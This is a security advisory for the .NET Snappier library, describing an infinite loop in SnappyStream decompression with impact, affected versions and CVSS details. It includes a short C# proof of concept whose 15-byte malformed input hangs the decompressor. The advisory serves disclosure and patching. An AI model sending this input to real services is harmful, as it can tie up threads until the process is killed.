Snappier has an infinite loop during SnappyStream decompression with malformed framed input
Summary
Snappier.SnappyStream enters an uncatchable infinite loop when decompressing a malformed framed-format Snappy stream as small as 15 bytes.
Details
The hang manifests as a userspace busy loop with SnappyStreamDecompressor.Decompress repeatedly calling Crc32CAlgorithm.Append. The exact non-terminating loop in or above Decompress has not been traced further.
PoC
using System.IO.Compression;
using Snappier;
byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst); // never returnsImpact
A caller using SnappyStream on attacker-controlled bytes can be made to spin forever and burn a thread until the process is killed. try/catch around the stream operation can't recover (no exception is thrown).
Affected software
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| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| .NET (NuGet) | Snappier | < 1.3.1 | 1.3.1 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Weakness (CWE)
CWE-835- Platform
- .NET (NuGet)
- Package
Snappier- Disclosed
- 06.05.2026
- Updated
- 11.10.2026 11:23
Sources and licenses
OSV / GitHub Advisory Database - GHSA-pggp-6c3x-2xmx - CC BY 4.0
Vulnerability history: Snappier
All published vulnerabilities of this package (.NET (NuGet)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 03.2023 05.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 2
Disclosures per year
- 2023: 1
- 2024: 0
- 2025: 0
- 2026: 1
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Snappier has an infinite loop during SnappyStream decompression with malformed framed input this entry
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